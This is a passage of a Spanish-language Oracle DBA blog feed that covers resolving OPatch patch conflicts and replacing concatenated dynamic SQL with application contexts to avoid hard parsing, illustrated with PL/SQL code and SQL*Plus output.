&lt;div&gt;Pues desafortunadamente hay conflictos adicionales, esta vez entre el &lt;i&gt;patch&lt;/i&gt; &lt;b&gt;4459936&lt;/b&gt; &lt;b&gt;&lt;i&gt;FGA doesn't work correctly with ansi outer joins in 10g&lt;/i&gt;&lt;/b&gt; y el &lt;b&gt;6996030&lt;/b&gt; &lt;b&gt;&lt;i&gt;Merge label request on top of 10.2.0.4 for audit trail clean-up&lt;/i&gt;&lt;/b&gt;, algo que ya habíamos visto, y también entre el &lt;i&gt;patch&lt;/i&gt; &lt;b&gt;6399168&lt;/b&gt; &lt;b&gt;&lt;i&gt;gather statistics on table with bitmap indexes runs forever&lt;/i&gt;&lt;/b&gt; y el &lt;b&gt;5099019&lt;/b&gt; &lt;b&gt;&lt;i&gt;dbms_stats doesn't count leaf_blocks correctly&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Con esta información ya podemos continuar con la aplicación de los &lt;i&gt;patches&lt;/i&gt; que no presentarán conflictos y para los casos en que sí, debemos abrir un &lt;b&gt;&lt;i&gt;Service Request&lt;/i&gt;&lt;/b&gt; en &lt;b&gt;&lt;i&gt;My Oracle Support&lt;/i&gt;&lt;/b&gt;, solicitando se nos proporcione un &lt;b&gt;&lt;i&gt;merged patch&lt;/i&gt;&lt;/b&gt; tal como &lt;b&gt;&lt;i&gt;OPatch&lt;/i&gt;&lt;/b&gt; nos ha sugerido:&lt;/div&gt;&lt;br /&gt;
&lt;blockquote&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-style: italic;"&gt;"Following patches have conflicts. Please contact Oracle Support and get the merged patch of the patches :&lt;br /&gt;
6996030, 4459936, 5099019, 6399168, 7025450, 7191744"&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Recomendaciones Finales&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Procura tener la última versión de &lt;b&gt;&lt;i&gt;OPatch&lt;/i&gt;&lt;/b&gt;, misma que puedes obtener buscando el &lt;b&gt;&lt;i&gt;Patch&lt;/i&gt;&lt;/b&gt; &lt;b&gt;6880880&lt;/b&gt;, instalarlo es muy fácil solo tienes que descomprimirlo en &lt;b&gt;$ORACLE_HOME/OPatch&lt;/b&gt;. Luego que lo tengas instalado procede a obtener todos los &lt;i&gt;patches&lt;/i&gt; que te interesa aplicar y descomprímelos bajo una misma carpeta, ahora usa &lt;b&gt;&lt;i&gt;OPatch&lt;/i&gt;&lt;/b&gt; para verificar la presencia de conflictos entre ellos y los ya aplicados. De existir algún conflicto solicita a Oracle que te proporcione un &lt;b&gt;&lt;i&gt;merged patch&lt;/i&gt;&lt;/b&gt;. Finalmente, te recomiendo leer los Notes &lt;b&gt;458485.1 &lt;i&gt;How to find whether the one-off Patches will conflict or not?&lt;/i&gt;&lt;/b&gt; y &lt;b&gt;551394.1 &lt;i&gt;What Are The MANDATORY Information Required To File A Merge Patch Request?&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;&lt;u&gt;Posts Relacionados:&lt;/u&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/02/cloning-oracle-home-directory.html"&gt;De cómo un clon nos puede ayudar con un patch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/10/borr-el-orainventory-no-todo-est.html"&gt;¿Borró el OraInventory? No todo está perdido&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2009/01/opatch-patch-evitar-conflicto.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><thr:total>9</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-903396390912165358</guid><pubDate>Sun, 04 Jan 2009 06:00:00 +0000</pubDate><atom:updated>2009-09-02T11:22:52.674-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">PLSQL</category><category domain="http://www.blogger.com/atom/ns#">Tuning</category><title>¿Query dinámico?, pero sin perder de vista el contexto</title><description>&lt;div&gt;Es relativamente frecuente que tengamos que recurrir a &lt;b&gt;SQL dinámico&lt;/b&gt; cuando no sabemos en tiempo de compilación el texto completo de la sentencia. Si bien en los tiempos de Oracle 7 la única forma de lograrlo era usando &lt;b&gt;&lt;i&gt;dbms_sql&lt;/i&gt;&lt;/b&gt;, en la actualidad la forma preferida de procesar SQL dinámico es con &lt;b&gt;&lt;i&gt;execute immediate&lt;/i&gt;&lt;/b&gt;, el problema radica en que no se hace buen uso de él y se termina generando código no reutilizable y esto lleva a elevadas tasas de &lt;b&gt;&lt;i&gt;hard parsing&lt;/i&gt;&lt;/b&gt; con el consiguiente deterioro del desempeño. Como en el ejercicio de mi labor como Consultor veo que este es un problema bastante recurrente, les mostraré a continuación una forma sencilla de corregirlo.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;span style="color: #17365d; font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;El Problema&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;OK, para situarnos en el problema veamos el siguiente código:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;create or replace
function emp_query (
deptno dept.deptno%type default null,
low_hiredate emp.hiredate%type default null )
return sys_refcursor
is
&amp;nbsp;&amp;nbsp;c_query sys_refcursor;
&amp;nbsp;&amp;nbsp;v_query varchar2(8000);
begin
&amp;nbsp;&amp;nbsp;v_query := 'select empno, ename, hiredate
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;from emp
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; where 1 = 1';
&amp;nbsp;&amp;nbsp;if deptno is not null then
&amp;nbsp;&amp;nbsp; &amp;nbsp; v_query := v_query || ' and deptno = '||deptno;
&amp;nbsp;&amp;nbsp;end if;
&amp;nbsp;&amp;nbsp;if low_hiredate is not null then
&amp;nbsp;&amp;nbsp; &amp;nbsp; v_query := v_query || ' and hiredate &amp;gt;= '''||low_hiredate||'''';
&amp;nbsp;&amp;nbsp;end if;

&amp;nbsp;&amp;nbsp;open c_query for v_query;

&amp;nbsp;&amp;nbsp;return ( c_query );
end;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;¿Qué problema le encuentran? Observen como se concatenan los valores de los parámetros al momento de armar la sentencia, noten que hay que tener cuidado con el tipo de dato, así si se trata de &lt;i&gt;varchar2&lt;/i&gt; o &lt;i&gt;date&lt;/i&gt; habrá que agregar los respectivos "&lt;b&gt;'&lt;/b&gt;" alrededor del valor. Esta forma de programar garantiza un 100% de &lt;i&gt;hard parse&lt;/i&gt; cada vez que llamemos a esta rutina! sino veamos que ocurre luego de unas cuantas llamadas:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl&amp;gt; variable x refcursor;

SCOTT@orcl&amp;gt; execute :x := emp_query(deptno=&amp;gt;10,low_hiredate=&amp;gt;'01/01/1982');

PL/SQL procedure successfully completed.

SCOTT@orcl&amp;gt; print x

&amp;nbsp;&amp;nbsp; &amp;nbsp; EMPNO ENAME &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;HIREDATE
---------- ------------------------------ -------------------
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7934 MILLER &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 23/01/1982 00:00:00

SCOTT@orcl&amp;gt; execute :x := emp_query(deptno=&amp;gt;20,low_hiredate=&amp;gt;'01/01/1981')

PL/SQL procedure successfully completed.

SCOTT@orcl&amp;gt; print x

&amp;nbsp;&amp;nbsp; &amp;nbsp; EMPNO ENAME &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;HIREDATE
---------- ------------------------------ -------------------
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7566 JONES &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;02/04/1981 00:00:00
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7788 SCOTT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;09/12/1982 00:00:00
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7876 ADAMS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;12/01/1983 00:00:00
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7902 FORD &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 03/12/1981 00:00:00

SYS@orcl&amp;gt; select sql_text, executions from v$sql
&amp;nbsp;&amp;nbsp;2 &amp;nbsp;where parsing_schema_name = 'SCOTT';

SQL_TEXT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; EXECUTIONS
---------------------------------------- ----------
select empno, ename, hiredate &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1
from emp where 1 = 1 and deptno = 10 
and hiredate &amp;gt;= '01/01/1982 00:00:00'

select empno, ename, hiredate &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1
from emp where 1 = 1 and deptno = 20
and hiredate &amp;gt;= '01/01/1981 00:00:00'&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Lo que esperábamos, cada llamada genera una sentencia totalmente independiente.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;El argumento que siempre me dan los desarrolladores es que &lt;i&gt;execute immediate&lt;/i&gt; exige una lista fija de parámetros y no dejan de tener razón pues la sintaxis tendría que ser algo así:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;execute immediate
&amp;nbsp;&amp;nbsp; 'select empno, ename, hiredate
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;from emp
&amp;nbsp;&amp;nbsp; &amp;nbsp; where deptno = :deptno
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; and hiredate &amp;gt; :hiredate’
using deptno, low_hiredate;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Pero no se puede garantizar que se proporcionen ambos parámetros, tal como está conceptualizada la rutina se permite que en algunos casos se puede pasar uno de los parámetros, ambos o incluso ninguno. ¿Estamos entonces atrapados sin salida? Pues no, tenemos una alternativa: &lt;b&gt;&lt;i&gt;application contexts&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;La Solución&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Si bien &lt;i&gt;application contexts&lt;/i&gt; aparece para soportar &lt;b&gt;&lt;i&gt;VPD&lt;/i&gt;&lt;/b&gt; (&lt;i&gt;Virtual Private Database&lt;/i&gt;) su uso puede ampliarse a otros casos, como el que estamos analizando en este momento. Con &lt;i&gt;application contexts&lt;/i&gt; podemos especificar atributos y asignarles valores, estos residen en el &lt;b&gt;&lt;i&gt;UGA&lt;/i&gt;&lt;/b&gt; (&lt;i&gt;User Global Area&lt;/i&gt;) durante la vida de la sesión, son de caracter privado por tanto cada sesión tiene sus propios atributos y valores y no pueden leer los de otras sesiones.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Comprenderemos mejor cómo funcionan los &lt;i&gt;application contexts&lt;/i&gt; mediante la resolución de nuestro problema con su uso, para ello primero debemos crear el &lt;b&gt;&lt;i&gt;context&lt;/i&gt;&lt;/b&gt;, indicando que solamente puede ser manipulado desde nuestro stored procedure &lt;b&gt;&lt;i&gt;scott.emp_query&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; create context emp_query_ctx using scott.emp_query;

Context created.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Observen que el &lt;i&gt;context&lt;/i&gt;, si bien fue creado por &lt;b&gt;&lt;i&gt;SYS&lt;/i&gt;&lt;/b&gt;, en realidad no tiene un dueño y no se requieren tampoco de permisos para que pueda ser usado.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Veamos la versión modificada de &lt;i&gt;scott.emp_query&lt;/i&gt;, usando &lt;i&gt;application contexts&lt;/i&gt;:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;create or replace
function emp_query (
deptno dept.deptno%type default null,
low_hiredate emp.hiredate%type default null )
return sys_refcursor
is
&amp;nbsp;&amp;nbsp;c_query sys_refcursor;
&amp;nbsp;&amp;nbsp;v_query varchar2(8000);
begin
&amp;nbsp;&amp;nbsp;v_query := 'select empno, ename, hiredate
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;from emp
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; where 1 = 1';
&amp;nbsp;&amp;nbsp;if deptno is not null then
&amp;nbsp;&amp;nbsp; &amp;nbsp; v_query := v_query || 
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; ' and deptno = &lt;span style="color: red;"&gt;sys_context(''emp_query_ctx'',''deptno'')'&lt;/span&gt;;
&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: red;"&gt;dbms_session.set_context('emp_query_ctx','deptno',deptno)&lt;/span&gt;;
&amp;nbsp;&amp;nbsp;end if;
&amp;nbsp;&amp;nbsp;if low_hiredate is not null then
&amp;nbsp;&amp;nbsp; &amp;nbsp; v_query := v_query || 
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; ' and hiredate &amp;gt;= &lt;span style="color: red;"&gt;sys_context(''emp_query_ctx'',''hiredate'')&lt;/span&gt;';
&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: red;"&gt;dbms_session.set_context('emp_query_ctx','hiredate',low_hiredate)&lt;/span&gt;;
&amp;nbsp;&amp;nbsp;end if;
&amp;nbsp;&amp;nbsp;open c_query for v_query;

&amp;nbsp;&amp;nbsp;return ( c_query );
end;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Lo que se está haciendo es crear atributos (&lt;i&gt;deptno&lt;/i&gt; y &lt;i&gt;hiredate&lt;/i&gt;) dentro del &lt;i&gt;context&lt;/i&gt; &lt;b&gt;&lt;i&gt;emp_query_ctx&lt;/i&gt;&lt;/b&gt; y de paso asignándole valores (los contenidos de los parámetros &lt;i&gt;deptno&lt;/i&gt; y &lt;i&gt;low_hiredate&lt;/i&gt;), esto se logra mediante llamadas a &lt;b&gt;&lt;i&gt;dbms_session.set_context&lt;/i&gt;&lt;/b&gt;, mientras que para leer los valores asignados se emplea &lt;b&gt;&lt;i&gt;sys_context&lt;/i&gt;&lt;/b&gt;. La creación de atributos y la asignación de valores solo se puede hacer, por definición, desde &lt;i&gt;scott.emp_query&lt;/i&gt;, lo cual añade un nivel de seguridad al garantizar que no se pueden crear atributos ni modificar sus valores de forma arbitraria.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl&amp;gt; execute dbms_session.set_context('emp_query_ctx','deptno',10)
BEGIN dbms_session.set_context('emp_query_ctx','deptno',10); END;

*
ERROR at line 1:
ORA-01031: insufficient privileges
ORA-06512: at "SYS.DBMS_SESSION", line 90
ORA-06512: at line 1&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Veamos ahora el desempeño de nuestra rutina modificada:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl&amp;gt; execute :x := emp_query(deptno=&amp;gt;10,low_hiredate=&amp;gt;'01/01/1981')

PL/SQL procedure successfully completed.

SCOTT@orcl&amp;gt; print x

&amp;nbsp;&amp;nbsp; &amp;nbsp; EMPNO ENAME &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;HIREDATE
---------- ------------------------------ -------------------
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7782 CLARK &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;09/06/1981 00:00:00
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7839 KING &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 17/11/1981 00:00:00
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7934 MILLER &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 23/01/1982 00:00:00

SCOTT@orcl&amp;gt; execute :x := emp_query(deptno=&amp;gt;20,low_hiredate=&amp;gt;'01/01/1982')

PL/SQL procedure successfully completed.

SCOTT@orcl&amp;gt; print x

&amp;nbsp;&amp;nbsp; &amp;nbsp; EMPNO ENAME &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;HIREDATE
---------- ------------------------------ -------------------
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7788 SCOTT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;09/12/1982 00:00:00
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;7876 ADAMS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;12/01/1983 00:00:00

SYS@orcl&amp;gt; select sql_text, executions from v$sql
&amp;nbsp;&amp;nbsp;2 &amp;nbsp;where parsing_schema_name = 'SCOTT';

SQL_TEXT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;EXECUTIONS
-------------------------------------------------------- &amp;nbsp;----------
select empno, ename, hiredate &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: red;"&gt;2&lt;/span&gt;
from emp where 1 = 1
and deptno = sys_context('emp_query_ctx','deptno')
and hiredate &amp;gt;= sys_context('emp_query_ctx','hiredate')&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;¡Ahora sí! Tenemos código perfectamente reutilizable, &lt;i&gt;sayonara hard parsing!!!&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;Recomendaciones Finales&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Para los que vienen siguiendo mi Blog, ya habrán intuido que para mí el &lt;b&gt;&lt;i&gt;hard parsing&lt;/i&gt;&lt;/b&gt; es algo así como el &lt;b&gt;demonio&lt;/b&gt; y una de las labores de los DBAs es la de exorcizar periódicamente la base de datos, pero créanme no estoy exagerando. Uno de mis clientes tenía un serio problema: su flamante computador con 10 procesadores duales de última tecnología bordeaba el 100% de uso de CPU, y el diagnóstico era: &lt;b&gt;alta tasa de &lt;i&gt;hard parsing&lt;/i&gt;&lt;/b&gt;. Resulta que nuestros entrañables amigos desarrolladores se las habían ingeniado para llenar la base de datos con sql dinámico no reutilizable, el problema no se nota si tenemos unos pocos usuarios con actividad esporádica, pero cuando tienes miles de usuarios interactuando en simultáneo el problema es evidente y los resultados son &lt;b&gt;catastróficos&lt;/b&gt;. Si no lo han hecho ya, pueden leer el Post relacionado que mencionan el problema y señalan algunos paliativos, pero no se engañen: la solución más barata y segura siempre será codificar las aplicaciones de forma eficiente.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;&lt;u&gt;Post Relacionados:&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/11/cursor-sharing-histograms-y-bind.html"&gt;&lt;i&gt;Cursor sharing&lt;/i&gt;, &lt;i&gt;histograms&lt;/i&gt; y &lt;i&gt;bind peeking&lt;/i&gt;, lo que deberías saber para evitar sorpresas.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2009/01/sql-dinamico-application-context.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><thr:total>0</thr:total></item></channel></rss>